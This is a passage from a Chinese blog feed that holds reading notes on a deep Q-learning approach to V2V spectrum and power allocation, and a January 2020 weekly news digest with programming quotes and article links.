display">\[C^{c}[m] = W \cdot \log (1 + \gamma^c[m])\]</span></p><p>其中<span class="math inline">\(W\)</span>为信道带宽。</p><p>类似对于<span class="math inline">\(k^{th}\)</span> VUE也可以给出其SINR</p><p><span class="math display">\[\gamma^v[k] = \frac{P_k^v \cdot g_k}{\sigma^2 + G_c + G_d}\]</span></p><p>其中</p><p><span class="math display">\[G_c = \sum_{m \in \mathcal{M}} \rho_{k}[m] P_m^c \tilde{g}_{m, k}\]</span></p><p>为CUE的V2I上行链路对VUE的干扰。</p><p><span class="math display">\[G_d = \sum_{m \in \mathcal{M}} \sum_{k' \in \mathcal{K} k \neq k'} \rho_{k}[m] \rho_{k'}[m] P_{k'}^v \tilde{g}_{k',k}^{v}\]</span></p><p>这个是V2V链路的整体干扰水平。<span class="math inline">\(g_k\)</span>为<span class="math inline">\(k^{th}\)</span>的功率增益,<span class="math inline">\(\tilde{g}_{k, m}\)</span>为 <span class="math inline">\(m^{th}\)</span> CUE的干扰功率增益。<span class="math inline">\(\tilde{g}^v_{k', k}\)</span>为<span class="math inline">\(k^{th}\)</span>的干扰功率增益。那么类似的通过香农公式,我们可以得到<span class="math inline">\(k%{thi}\)</span> VUE的信道容量。</p><p><span class="math display">\[C^{v}[k] = W \cdot \log (1 + \gamma^{v}[k])\]</span></p><p>V2V的通信具有比较严格的延时和可靠性要求,而数据率则并没有那么重要。这里延时和可靠性要求被转化成中断概率(<i>Outage probabilities</i>)。通过深度学习,这些限制因素被直接转化成奖励函数。相反,对于V2I通信来说,蜂窝通信中延时的重要性没有那么高,传统的分配策略中强调最大化吞吐率的思想仍然适用。故V2I的数据率总和仍然会体现在奖励函数中。</p><p>由于BS没有V2V链路的信息,因此V2I的资源分配流程要和V2V的资源管理流程独立。在给定V2I的链路分配的情况下,这篇文章提出的资源管理机制的目标是确保满足V2V链路的延时要求,同时最小化V2V通信对于V2I链路的影响。在分布式的场景下,V2V链路只能根据本地信息来选择RB并设置传输功率。</p><p>这些本地信息中,第一种是对于信道和干扰信息的观测。这里假设sub-channel的数量和V2I的链路的数量<span class="math inline">\(M\)</span>相等。对应的V2V链路的瞬时信道信息, <span class="math inline">\(G_{t}[m], m \in \mathcal{M}\)</span>,为对应的sub-channel的功率增益。上一个时时隙收到的信号强度是 <span class="math inline">\(I_{t - 1}[m], m \in \mathcal{M}\)</span>, 代表了在每个信道上的干扰强度。每个链路的本地观测信息还包含了邻居节点之间共享的信息,例如在前一个时隙上邻居节点选择的信道<span class="math inline">\(N_{t - 1}[m]\)</span>,这个数值代表了邻居节点选用了某个子信道的次数。另外,本地观测还需要包含已经传输的消息的状态信息,例如还未发送完消息载荷<span class="math inline">\(L_t\)</span>(代表剩余比特数的百分比),以及距离违反延时限制还剩余的时间窗口<span class="math inline">\(U_t\)</span>。上述的本地信息包括<span class="math inline">\(H_t[m], I_{t - 1}[m], N_{t - 1}[m], L_t, U_t\)</span>, 这些消息在之后的广播通信场景中也会使用。</p><p>现在的问题就是如何从这些观测量出发得到最优的资源分配策略。这篇文章在这个问题上使用了深度强化学习工具。</p><h1 data-number="4" id="深度强化学习"><span class="header-section-number">4</span> 深度强化学习</h1><h2 data-number="4.1" id="强化学习"><span class="header-section-number">4.1</span> 强化学习</h2><p><img src="https://imgs.codewoody.com/uploads/big/cc6e152d9b1b8a14c4407e573c966496.png"></p><p>如上图所示,一个典型的强化学习的框架包括代理(Agent)与环境,及其交互。在本文的模型中,每个V2V链路被视为一个代理,除此之外都是环境的一部分。在去中心化场景中别的代理的决策是不可控的,因此每个代理的行为只基于其本身的状态集。</p><p>在上图中,在每个时刻<span class="math inline">\(t\)</span>,V2V链路,即代理,观察得到一个状态值<span class="math inline">\(\mathbf{s}_{t}\)</span>,并从行为空间<span class="math inline">\(\mathcal{A}\)</span>中,基于政策<span class="math inline">\(\pi\)</span>选择一个sub-band和一个传输功率。这里政策<span class="math inline">\(\pi\)</span>可以通过状态-行为函数来确定,这个函数也被称为Q函数,<span class="math inline">\(Q(\mathbf{s}_t, a_t)\)</span>,这个函数可以通过深度学习来估计。基于代理选择的行为,环境会反馈新的状态,<span class="math inline">\(\mathbf{s}_{t+1}\)</span>,而每个代理会收到一个奖励<span class="math inline">\(r_t\)</span>。在本文的场景下,奖励取决于V2I和V2V的传输能力以及V2V链路是否满足了延时要求。</p><p>在前一个部分的讨论中提到,环境中可观测的要素包括如下几部分:即时信道信息, <span class="math inline">\(\mathbf{G}_t = (G_t[1], \dots, G_{t}[M])\)</span>,前一个时刻干扰功率,<span class="math inline">\(\mathbf{I}_{t - 1} = (I_{t - 1}[1], \dots, I_{t - 1}[M])\)</span>,V2I链路的信道信息<span class="math inline">\(\mathbf{H}_t = (H_t[1], \dots, H_t[M])\)</span>,邻居节点选择的信道信息<span class="math inline">\(\mathbf{N}_{t - 1} = (N_{t - 1}[1], \dots, N_{t - 1}[M])\)</span>,当前尚未传输完成的业务负载<span class="math inline">\(L_{t}\)</span>,以及距离超出延时限制还剩下的时间<span class="math inline">\(U_t\)</span>。尽管状态信息包含了异构的数据,后面我们可以看到使用深度神经网络,我们可以从异构数据中提取出有用的信息,并用于学习出最优的政策。综上,状态向量可以表示成</p><p><span class="math display">\[\mathbf{s}_{\mathbf{t}}=\left\{\boldsymbol{I}_{\boldsymbol{t}-\mathbf{1}}, \boldsymbol{H}_{\boldsymbol{t}}, \boldsymbol{N}_{\boldsymbol{t}-\mathbf{1}}, \boldsymbol{G}_{\boldsymbol{t}}, U_{t}, L_{t}\right\}\]</span></p><p>这里传输功率被离散化为三个档,因此行为空间的大小为<span class="math inline">\(3 \times N_{RB}\)</span>,其中<span class="math inline">\(N_{RB}\)</span>为RB资源的数量。</p><p>V2V资源调度的目标如下:</p><p>一个代理(V2V链路)选择频带和传输功率,使其对所有的V2I链路和其他V2V的链路干扰很小,同时保留足够的资源以满足延时要求。因此,用来指导学习过程的奖励函数设计应该与这一目标保持一致。在本文的框架中,奖励函数由三部分组成,分别是V2I链路的能力,V2V链路的能力,以及延时条件。V2V和V2I链路能力的总和用来度量代理的选择对于V2I和其他V2V链路的干扰。延时条件被构建为一个惩罚项目。具体而言,奖励函数如下:</p><div style="border: 1px solid black; padding-top: 15px"><p><span class="math display">\[r_{t}=\lambda_{c} \sum_{m \in \mathcal{M}} C^{c}[m]+\lambda_{d} \sum_{k \in \mathcal{K}} C^{v}[k]-\lambda_{p}\left(T_{0}-U_{t}\right)\]</span></p></div><p>其中<span class="math inline">\(T_{0}\)</span>为最大容许延时。<span class="math inline">\(\lambda_c, \lambda_d\)</span>和<span class="math inline">\(\lambda_p\)</span>为三部分的权重值。<span class="math inline">\(T_0 - U_t\)</span>为已经用于传输的时间长度,即惩罚项目会随着传输时间的增长而增长。为了在长时间尺度上获得好的表现,需要同时考虑即时收益与未来的收益。因此,这里的强化学习优化的目标是寻找是的下面的累积奖励最大化</p><p><span class="math display">\[R_{t} = \mathbb{E}\left[ \sum_{n = 0}^{\infty} \beta^n r_{t + n} \right]\]</span></p><p>其中<span class="math inline">\(\beta \in [0, 1]\)</span>为述案件系数。</p><p>这里系统模型为<a href="/knowledge-base/academic/ml/reinforcement-learning/#%E6%9C%89%E9%99%90%E9%A9%AC%E5%B0%94%E7%A7%91%E5%A4%AB%E5%86%B3%E7%AD%96%E8%BF%87%E7%A8%8B">MDP模型</a>。状态<span class="math inline">\(\mathbf{s}_t\)</span> 在行为<span class="math inline">\(a_t\)</span>下转移到<span class="math inline">\(\mathbf{s}_{t+1}\)</span>并获得奖励<span class="math inline">\(r_t\)</span>的概率为<span class="math inline">\(p(\mathbf{s}_{t+1}, r_t|\mathbf{s}_t, a_t)\)</span>。注意代理能够控制行为选择,但是对于这个转移概率<span class="math inline">\(\mathbf{P} = \{\mathbf{s}_{t+1}, r_t|\mathbf{s}_t, a_t)\}\)</span>没有先验信息,这一概率完全由环境因素决定</p><h2 data-number="4.2" id="深度q学习"><span class="header-section-number">4.2</span> 深度Q学习</h2><p>代理基于政策<span class="math inline">\(\pi\)</span>选择合适的行为,政策是从状态空间<span class="math inline">\(\mathcal{S}\)</span>到行为空间<span class="math inline">\(\mathcal{A}\)</span>的映射:<span class="math inline">\(\pi: \mathbf{s}_t \in \mathcal{S} \rightarrow a_t \in \mathcal{A}\)</span>。Q学习算法可以用来获取最优的政策。对于给定的状态行为对<span class="math inline">\((\mathbf{s}_t, a_t)\)</span>,<span class="math inline">\(Q(\mathbf{s}_t, a_t)\)</span>表示累积奖励<span class="math inline">\(R_t\)</span>的期望。因此Q值可以用来评估在某一个状态下采取某一行为的好坏。当<span class="math inline">\(Q(\mathbf{s}_t, a_t)\)</span>已知时,我们可以很容易地改进策略:</p><p><span class="math display">\[a_t = \underset{a}{\arg \max } Q(\mathbf{s}_t, a_t)\]</span></p><p>具有最佳的Q值<span class="math inline">\(Q^*\)</span>的最优策略可以根据下面的更新策略在不具备关于系统的先验知识的情况下得到:</p><p><span class="math display">\[\begin{aligned}Q_{n e w}\left(\mathbf{s}_{\mathbf{t}}, a_{t}\right)=& Q_{\text {old}}\left(\mathbf{s}_{\mathbf{t}}, a_{t}\right)+\alpha\left[r_{t+1}\right.\\&\left.+\beta \max _{\mathbf{s} \in \mathcal{S}} Q_{\text {old}}\left(\mathbf{s}, a_{t}\right)-Q_{\text {old}}\left(\mathbf{s}_{\mathbf{t}}, a_{t}\right)\right]\end{aligned}\]</span></p><p>其中<span class="math inline">\(\alpha\)</span>为Learning rate。上式中的第二项为更新Q值的差值,当<span class="math inline">\(Q\)</span>已经是最优时,这一项会为0。根据Sutton的<i>Reinoforcement Learning: An Introduction</i>这本书,如果在无限迭代中,如果在每个状态下每个行为都能够被执行无限次,且Learning rate适当的进行衰减,那么上式一定能够收敛到<span class="math inline">\(Q^*\)</span>。而当<span class="math inline">\(Q^*\)</span>确定以后,即可确定最优的政策。</p><p>当行为-状态空间比较小时,可以使用一些经典的方法来解决Q学习问题,甚至可以用列表的方法来维护Q函数。不过如果状态空间非常大,甚至是无限时,这种经典的方法就不可用了。除了计算成本方面的考虑,由于行为-状态空间很大,为了充分遍历需要更长的迭代时间才能确保Q函数收敛。为了解决这个问题在Q学习中,将的深度神经网络技术结合进来。如下图所示</p><p><img src="https://imgs.codewoody.com/uploads/big/9fe6971082bdeb85a3859cc580a2c68d.png"></p><p>这里使用一个深度神经网络来估计实际的Q函数,这个深度神经网络称为Q网络,参数集合为<span class="math inline">\(\mathbf{\theta}\)</span>,网络接受状态输入,并输出在该状态下每个行为选择对应的Q值。剩下的问题是如何更新网络的参数。定义损失函数:</p><p><span class="math display">\[Loss(\mathbf{\theta}) = \sum_{(\mathbf{s}_t, a_t) \in D} (y - Q(\mathbf{s}_t, a_t, \mathbf{\theta}))^2\]</span></p><p>这里<span class="math inline">\(D\)</span>为数据集,</p><p><span class="math display">\[y = r_t + \max_{a \in \mathcal{A}} Q_{old} (\mathbf{s}_t, a, \mathbf{\theta})\]</span></p><h2 data-number="4.3" id="模型训练与测试"><span class="header-section-number">4.3</span> 模型训练与测试</h2><p>如同众多的机器学习算法,这里的方法的也分为训练和测试两个阶段。训练数据和测试数据都是通过环境(仿真系统模拟出来的)和代理的交互过程中产生的。每个训练样本包括<span class="math inline">\(\mathbf{s}_t, \mathbf{s}_{t+1}, a_t, r_t\)</span>。环境模拟器包括VUE,CUE及信道,车联的位置随机生成。V2V以及V2I的链路的CSI信息根据车辆的位置生成。在给定V2V的频谱和功率选择之后,环境模拟器负责给出<span class="math inline">\(\mathbf{s}_{t+1}\)</span>和<span class="math inline">\(r_t\)</span>。在训练阶段,深度Q学习使用了经验回放(Experience replay)功能,其中训练数据被生成并存储到内存中。如下面的算法所示:</p><p><img src="https://imgs.codewoody.com/uploads/big/2699b940e80146d6cff67f82e3c1876c.png"></p><p>在每轮迭代中,从内存中提取一个mini-batch用于更新Q网络。这种方法可以消除生成训练数据的时间相关性。</p><blockquote><p>Q 函数的输入是状态和代理的行为,输出是奖励和下一个状态。因此本质上来讲 Q 函数是对于环境特征的估计。基于MDP假设,Q函数应该是和时间无关的,只取决于当前的系统状态。因此这里mini-batch的做法应该是从历史数据中随机提取任意时间片采样的组合进行训练,从而避免连续的生成数据对于模型产生影响。</p><p>MDP看起来是一个比较特殊的问题类型,但是事实上只要状态向量定义合适,理论上可以把任意问题建模成MDP问题,当然,不同的问题的复杂度会截然不同。例如AlphaGo这种算法,用MDP建模就会非常复杂。</p><p>之前在看一个介绍强化学习的视频的时候听过,强化学习的一个主要挑战是奖励的稀疏性。这个稀疏性是指代理并非能在每个行为选择后才能获得奖励,可能要非常多步数之后才能获得奖励。那么在实际的奖励之间的空挡如何引导模型就是一个大问题。不过这篇文章面临的问题要简单很多,奖励都是即时的。</p></blockquote><p>测试阶段的算法如下:</p><p><img src="https://imgs.codewoody.com/uploads/big/54bc27c9a000ea8c25fe505f15401975.png"></p><p>在测试过程中,代理总是选择Q网络给出的Q值最大的行为。</p><p>由于每个代理是使用自己的本地信息独立的选择的行为,因此每个V2V链路观察到的状态就无法充分的代表环境的特点<span class="foot-note-span">【应该是每个节点的选择会影响到其他节点的观测】</span>。为了解决这个问题,文章这里要求每个节点只能异步地更新其行为,即同时只有一个或者小部分节点能够同时更新其政策。</p><p>另外,异步决策可以让节点之间能够互相观测对方的行为,可以降低冲突的概率。</p><blockquote><p>这种轮流决策的方式在节点较多时会非常的低效。</p><p>另外这里作者选择的策略模型是确定性策略,如果使用随机政策模型,然后使用分布式决策,是否可以实现同步决策呢?</p></blockquote>]]></content>
<summary type="html">
<h1 data-number="1" id="概述"><span class="header-section-number">1</span> 概述</h1>
<p>本次要读的论文是<a href="https://ieeexplore.ieee.org/document/86
</summary>
<category term="读论文" scheme="http://www.codewoody.com/categories/%E8%AF%BB%E8%AE%BA%E6%96%87/"/>
<category term="读论文" scheme="http://www.codewoody.com/tags/%E8%AF%BB%E8%AE%BA%E6%96%87/"/>
<category term="车联网" scheme="http://www.codewoody.com/tags/%E8%BD%A6%E8%81%94%E7%BD%91/"/>
</entry>
<entry>
<title>Weekly-30</title>
<link href="http://www.codewoody.com/posts/16684/"/>
<id>http://www.codewoody.com/posts/16684/</id>
<published>2020-01-15T03:26:40.000Z</published>
<updated>2020-03-22T17:25:00.485Z</updated>
<content type="html"><![CDATA[<h1 data-number="1" id="新闻"><span class="header-section-number">1</span> 新闻</h1><h2 data-number="1.1" id="中美签署贸易战第一阶段协议"><span class="header-section-number">1.1</span> 中美签署贸易战第一阶段协议</h2><p>这意味着近两年来拖累全球经济的贸易战暂告一个段落,而美国对大部分中国输美商品加征的关税则维持不变。周三在白宫签署所谓的第一阶段协议之前,漫长的美中经贸冲突曾引发全球市场焦虑,并给企业带来不确定性。</p><p>协议全文 94 页(<a href="http://103.78.124.74:81/2Q2W191F46ABF384979D28B01DEDE17C6AF9E671666B_unknown_4F327C5A68A8BAAC21C97C814446427060F434D5_4/images.mofcom.gov.cn/www/202001/20200116104122611.pdf" target="_blank" rel="noopener">中</a>,<a href="https://assets.bwbx.io/documents/users/iqjWHBFdfxIU/rVaHxDBUtdew/v0" target="_blank" rel="noopener">英</a>),一些重点:</p><ul><li>前 16 页详细规定了保护知识产权的力度,对窃取商业机密行为作出刑事处罚。中国将在签署后 30 工作日内公布“增强知识产权保护的行动方案,以支持其高质量增长”。</li><li>双方不得以市场准入相关门槛、合营并购等投资行为,强迫另外一方转让技术。</li><li>2020-2021 年两年间,中国将从美国增加采购 2000 亿美元商品,包括 777 亿美元制造业商品、320 亿美元农产品、524 亿美元能源产品、379 亿美元服务业产品。增加是指在 2017 年贸易战爆发前基础上增加。</li><li>双方互加关税没有消除。去年年底宣布达成协议时暂停增加的<a href="https://www.qdaily.com/articles/64246.html" target="_blank" rel="noopener">惩罚性关税</a>将继续暂停下去——-原定 12 月 15 日,美国对 1600 亿美元中国产手机、电脑、玩具等商品增加关税、中国对美国产汽车等商品增加关税。此外美国自 9 月 1 日起对 1200 亿中国商品加税幅度减半至 7.5%。但大部分已经执行的加税(美对中 2500 亿、中对美 1100 亿)没有取消。</li></ul><p>协议覆盖了一些已经在早先宣布的内容,比如双方遵循 G20 期间宣布的不以价格竞争为目的而贬值货币的承诺、中国对外开放银行、保险、资产管理等金融市场。</p><p>特朗普现场称关税问题可以在第二阶段协议里一次性解决。刘鹤现场宣读中国国家主席习近平的信,敦促美国公平对待中国公司、保护双方大学等机构的持续合作。签约仪式和双方演讲有<a href="https://www.youtube.com/watch?v=3jA4rgUHgqA" target="_blank" rel="noopener">全程直播</a>。</p><p>欧盟(EU)贸易专员菲尔•霍根(Phil Hogan)批评美中“第一阶段”贸易协议提供的经济利益有限,暗示这主要是唐纳德•特朗普(Donald Trump)为赢得连任而采取的政治行动 ... 此外,一些国家担心,作为协议的一部分,中国采购2000亿美元美国商品,将使世界两个最大经济体之间展开“管理贸易”,这可能会无视市场力量、对两国企业不利、违反世界贸易组织(WTO)的承诺。<a href="http://www.ftchinese.com/story/001085983" target="_blank" rel="noopener">source</a></p><h2 data-number="1.2" id="中国经济数据"><span class="header-section-number">1.2</span> 2019 中国经济数据</h2><h2 data-number="1.3" id="俄罗斯政府宣布全体辞职"><span class="header-section-number">1.3</span> <a href="https://www.dw.com/zh/%E4%BF%84%E6%94%BF%E5%BA%9C%E5%AE%A3%E5%B8%83%E5%85%A8%E4%BD%93%E8%BE%9E%E8%81%8C/a-52013402" target="_blank" rel="noopener">俄罗斯政府宣布全体辞职</a></h2><p>据俄罗斯通讯社报道,在普京总统发表年度国情咨文后,俄罗斯总理梅德韦杰夫宣布俄政府全体辞职。梅德韦杰夫表示,在俄罗斯总统普京宣布一系列宪法修改意见后,他告知普京,俄罗斯政府决定全体辞职。梅德韦杰夫说,普京总统的建议将对国家权力的平衡带来显著变化,政府以现在的形式辞职,以便总统可以采取所有必要措施。</p><p>俄罗斯国际文传通讯社援引梅德韦杰夫报道,普京将提名新的政府,并指示现内阁在此之前继续留任。该通讯社还报道,普京将任命梅德韦杰夫为俄罗斯联邦安全会议副主席,负责国防和安全。</p><p>1月15日早些时候,普京在国情咨文讲话中宣布,将在宪法改革中赋予议会更大的权力。议会今后将决定政府首脑以及重要的内阁成员。</p><blockquote><p>李建秋在之前的一篇文章里面就提到了梅德韦杰夫的问题。梅德韦杰夫作为自由派,在很多问题上优柔寡断,损害了俄罗斯的利益,下台是必然的。</p></blockquote><p>克里姆林宫表示,俄罗斯总统普京周三正式提名名不见经传的俄罗斯联邦税务局局长Mikhail Mishustin担任新总理。<a href="https://cn.reuters.com/article/russia-putin-mishustin-new-pm-0115-idCNKBS1ZE30K?feedType=RSS&feedName=CNTopGenNews" target="_blank" rel="noopener">source</a></p><h2 data-number="1.4" id="美军多人在伊朗导弹袭击中受伤"><span class="header-section-number">1.4</span> 美军多人在伊朗导弹袭击中受伤</h2><p>1 月 8 日,伊朗为报复美国无人机袭击炸死圣城旅最高领导人苏莱曼尼准将,向美军在伊拉克的若干军事基地发动了导弹袭击。随后美国总统特朗普表示伊朗的导弹袭击没有导致任何美国人的伤亡,中东局势随之降温。不过近日新的消息显示,大约有 11 名美国士兵在伊朗的导弹袭击中受伤。<a href="https://www.reuters.com/article/us-iraq-security-usa-casualties/eleven-u-s-troops-injured-in-jan-8-iran-missile-attack-in-iraq-idUSKBN1ZG0AX" target="_blank" rel="noopener">source</a></p><h2 data-number="1.5" id="其他"><span class="header-section-number">1.5</span> 其他</h2><h3 data-number="1.5.1" id="国内"><span class="header-section-number">1.5.1</span> 国内</h3><ul><li>武汉发现的新型冠状病毒有人传人的风险,已向全球医院发出警告。<a href="https://cn.reuters.com/article/china-health-concern-who-0114-tues-idCNKBS1ZE01J?feedType=RSS&feedName=CNTopGenNews" target="_blank" rel="noopener">source</a></li><li>2019 年中国汽车的销量下降了 8.2%,至 2580 万辆。<a href="http://www.ftchinese.com/story/001085908" target="_blank" rel="noopener">source</a></li><li>中国海关总署发布数据,2019年,中美两国贸易额为5412.23亿美元,同比下降14.6%。<a href="http://sputniknews.cn/economics/202001141030443429/" target="_blank" rel="noopener">source</a></li><li>1 月 16 日,著名主持人赵忠祥去世。<a href="https://www.zhihu.com/question/366508914" target="_blank" rel="noopener">source</a></li><li>1 月 16 日,首家纯外资保险公司 安联中国在上海正式开业。</li><li>支持反送中的香港民间组织「国难中医」创建人被指在广州嫖娼被捕。这位化名”肥仔“的香港学生就读于广州中医药大学,“国难忠医”为一个志愿医务人员网。<a href="https://www.dw.com/zh/香港-国难忠医-创建人被指在广州嫖娼被捕/a-52031133?maca=chi-rss-chi-all-1127-rdf" target="_blank" rel="noopener">source</a></li><li>大陆总人口突破 14 亿人。国家统计局数据显示,截至2019年末,中国大陆总人口突破14亿人,为140005万人,比上年末增长467万人。</li><li>国家统计局 1 月 17 日对外宣布,经过初步核算,2019 年我国国内生产总值 (GDP) 为 99.0865万亿元,稳居世界第二位;人均GDP首次站上1万美元的新台阶。此前,全球人均GDP超过1万美元的经济体总人口近15亿。中国人均GDP突破1万美元,相当于人均GDP超过1万美元的世界人口翻了一番。</li><li>一名女子在社交媒体上晒出了自己驾驶豪华越野车进入紫禁城的照片,在中国引发轩然大波。故宫博物院周五(1月17日)连夜致歉。<a href="http://www.bbc.com/zhongwen/simp/chinese-news-51159468" target="_blank" rel="noopener">source</a>, <a href="https://zh.wikipedia.org/wiki/%E5%A5%B3%E5%AD%90%E5%BC%80%E8%BD%A6%E8%BF%9B%E6%95%85%E5%AE%AB%E4%BA%8B%E4%BB%B6" target="_blank" rel="noopener">source: Wiki</a>,</li></ul><h3 data-number="1.5.2" id="国际"><span class="header-section-number">1.5.2</span> 国际</h3><ul><li>乌克兰客机遇害者所属国家将在伦敦开会讨论对伊朗此案去法律行动。<a href="https://cn.reuters.com/article/iran-crash-ukraine-exclusive-0113-mon-idCNKBS1ZD015?feedType=RSS&feedName=CNTopGenNews" target="_blank" rel="noopener">source</a></li><li>本周中美将签订贸易协议,在签订之前,美国财务部将摘掉中国汇率操纵国的标签。特朗普政府的一位官员暗示美方将采取上述行动。此举将逆转去年夏天美国政府将中国列为汇率操纵国的有争议决定;当时华盛顿和北京之间的紧张关系急剧升级。<a href="http://www.ftchinese.com/story/001085909" target="_blank" rel="noopener">source</a></li><li>位于拉合尔的巴基斯坦最高法院裁定审理前总统<a href="https://zh.wikipedia.org/zh-hans/%E4%BD%A9%E5%B0%94%E9%9F%A6%E5%85%B9%C2%B7%E7%A9%86%E6%B2%99%E6%8B%89%E5%A4%AB" target="_blank" rel="noopener">穆沙拉夫</a>的特别法院违宪,后者被判处死刑。<a href="http://sputniknews.cn/politics/202001141030442655/" target="_blank" rel="noopener">source</a></li><li>英国首相鲍里斯·约翰逊14日明确拒绝苏格兰要求于今年举行二次独立公投的要求,称二次公投会让苏格兰再度陷入政治僵局。<a href="http://www.bjd.com.cn/a/202001/15/WS5e1e8937e4b0e6e583938c98.html" target="_blank" rel="noopener">source</a></li><li>在武汉发现的不明肺炎在泰国曼谷发现首例境外感染者。<a href="http://www.bbc.com/zhongwen/simp/world-51116985" target="_blank" rel="noopener">source</a></li><li>日本厚生劳动省对外通报,日本国内发现首例感染新型病毒的肺炎患者病例。患者是一位居住在日本、此前曾前往过武汉的中国籍男子。<a href="https://www.dw.com/zh/日本现首例新型冠状病毒肺炎/a-52020515?maca=chi-rss-chi-all-1127-rdf" target="_blank" rel="noopener">source</a></li><li>丹麦地标小美人鱼像被喷上 Free Hong Kong 的口号。该雕像过往曾多次被涂鸦及损毁,更在1964年及1998年两次被“斩首”。<a href="http://www.bbc.com/zhongwen/simp/world-51116225" target="_blank" rel="noopener">source</a></li><li>据俄罗斯卫星网1月16日报道,车臣总统和政府网站上发布的命令称,车臣领导人拉姆赞·卡德罗夫13日签署文件任命车臣政府总理穆斯利姆·胡奇耶夫自1月13日起在他暂时丧失工作能力期间临时行使领导人职权。</li><li>美国要求台积电在大选前做好决定,是否前往美国生产芯片。</li><li>土耳其总统埃尔多安当地时间16日宣布,将开始向利比亚部署军队以支持“民族团结政府”并维护地区稳定。《卫报》援引消息人士称,土耳其已经或即将向利比亚派出2000名来自叙利亚的反政府武装分子,但这一说法未获证实。<a href="https://www.guancha.cn/internation/2020_01_17_531922.shtml" target="_blank" rel="noopener">source</a></li><li>土耳其解除对维基百科的屏蔽。在近一千天后,在宪法法院裁决屏蔽违法之后,土耳其解除了对维基百科的封锁。因为拒绝删除批评政府的文章,土耳其在 2017 年 4 月命令 ISP 屏蔽了维基百科。这一封锁共持续了 991 天。维基基金会对解除封锁表达了欢迎。对维基百科的解封不是一下子实现的,而是“逐步”,部分 ISP 还在处理之中。<a href="https://t.me/solidot/9931" target="_blank" rel="noopener">source: Solidot</a></li><li>习近平出访缅甸,这是中国最高领导人19年来首次访问缅甸。其中一项重要目标,便是推进中国在印度洋的门户皎漂港的项目。<a href="http://www.bbc.com/zhongwen/simp/chinese-news-51146741" target="_blank" rel="noopener">source: BBC</a>, <a href="https://www.dw.com/zh/习近平抵达缅甸:官方热烈欢迎-民间担忧加剧/a-52044385?maca=chi-rss-chi-all-1127-rdf" target="_blank" rel="noopener">source2: DW</a></li><li>英国宣布 31 日的脱欧大庆计划,其中包括上演灯光秀和发行纪念币。。<a href="https://www.dw.com/zh/英国宣布脱欧大庆计划/a-52053130?maca=chi-rss-chi-all-1127-rdf" target="_blank" rel="noopener">source: DW</a></li><li>默克尔表示,德国这样的开放国家,不应将华为这样的个别公司拒之门外,而且没有华为,德国5G网络建设也会受到威胁。如今,联邦内政部长也做出了类似的表态。<a href="https://www.dw.com/zh/德内政部长力挺华为参与德国5g扩建/a-52051010?maca=chi-rss-chi-all-1127-rdf" target="_blank" rel="noopener">source: DW</a></li></ul><h3 data-number="1.5.3" id="科技"><span class="header-section-number">1.5.3</span> 科技</h3><ul><li>Google 将淘汰第三方Cookie。<a href="http://www.ftchinese.com/story/001085945" target="_blank" rel="noopener">source</a></li><li>微软正式终止支持 Windows 7。<a href="https://www.williamlong.info/archives/5949.html" target="_blank" rel="noopener">source</a></li><li>微软正式发布基于 Chromium 的浏览器 the New Microsoft Edge。拥有更快的速度、更低的内存占用,更多的隐私选项,支持 Windows 7、8、8.1、10 和 macOS,支持全部现有的 Chrome 扩展。<a href="https://www.appinn.com/the-new-microsoft-edge-base-chromium/" target="_blank" rel="noopener">source</a></li><li>Sony 计划向 PC 移植其独占游戏作品。<a href="https://t.me/solidot/9937" target="_blank" rel="noopener">source: Solidot</a></li><li>Google 的母公司 Alphabet 股票市场首次突破 1 万亿美元,成为第四家跨越这一门槛的美国科技企业。<a href="http://www.ftchinese.com/story/001085991" target="_blank" rel="noopener">source: FT</a></li><li>中科院计算所团队推出“完全自主设计、开发和实现”的“木兰”编程语言,很多开发者发现解包后的木兰语言其实就是建立在 Python 之上,将 Python 构建的环境、包和项目都编译成一个可执行文件。似乎木兰只是在顶层做了一个接口,将底层编译、优化等众多工作都交给了原版 Python。“木兰”编程语言是Python语言的套壳产品。<a href="https://www.williamlong.info/archives/5952.html" target="_blank" rel="noopener">source</a>。</li></ul><h1 data-number="2" id="言论"><span class="header-section-number">2</span> 言论</h1><ul><li><p>如果还没想清楚,就用蛮力算法。 —— Ken Thompson</p></li><li><p>不要使用反正弦和反余弦函数——你总能用优美的恒等式,或者是计算向量点积来更好地解决问题。—— Jim Conyngha</p></li><li><p>在存储日期中的年份的时候,请使用四位数字。—— David Martin</p></li><li><p>避免使用不对称结构。—— Andy Huber</p></li><li><p>代码写的越急,程序跑得越慢。—— Roy Carlson</p></li><li><p>你用英语都写不出来的东西就别指望用代码写了。—— Peter Halpern</p></li><li><p>如果代码和注释不一致,那很可能两者都错了。—— Norm Schryer</p></li><li><p>如果你发现特殊情况太多,那你肯定是用错方法了。—— Carig Zerouni</p></li><li><p>先把数据结构搞清楚,程序的其余部分自现。—— David Jones</p></li><li><p>I don't care who does the electing, so long as I get to do the nominating. - <a href="https://en.wikiquote.org/wiki/William_M._Tweed" target="_blank" rel="noopener">William M. Tweed</a></p></li></ul><h1 data-number="3" id="文章"><span class="header-section-number">3</span> 文章</h1><ul><li><a href="https://www.bbc.com/future/article/20170607-why-printers-add-secret-tracking-dots" target="_blank" rel="noopener">Why printers add secret tracking dots</a>。彩色打印机厂商会在页面上添加隐形标志,但是从不对外界透露。</li><li><a href="https://www.vinaysahni.com/best-practices-for-a-pragmatic-restful-api" target="_blank" rel="noopener">RESTful API 最佳实践</a></li></ul>]]></content>
<summary type="html">
<h1 data-number="1" id="新闻"><span class="header-section-number">1</span> 新闻</h1>
<h2 data-number="1.1" id="中美签署贸易战第一阶段协议"><span class="heade
</summary>
<category term="Weekly" scheme="http://www.codewoody.com/categories/Weekly/"/>
<category term="杂谈" scheme="http://www.codewoody.com/tags/%E6%9D%82%E8%B0%88/"/>
<category term="科技新闻" scheme="http://www.codewoody.com/tags/%E7%A7%91%E6%8A%80%E6%96%B0%E9%97%BB/"/>
<category term="转载" scheme="http://www.codewoody.com/tags/%E8%BD%AC%E8%BD%BD/"/>
<category term="Weekly" scheme="http://www.codewoody.com/tags/Weekly/"/>
</entry>
<entry>
<title>Weekly-29</title>
<link href="http://www.codewoody.com/posts/55277/"/>
<id>http://www.codewoody.com/posts/55277/</id>
<published>2020-01-07T04:33:09.000Z</published>
<updated>2020-01-22T05:23:13.930Z</updated>
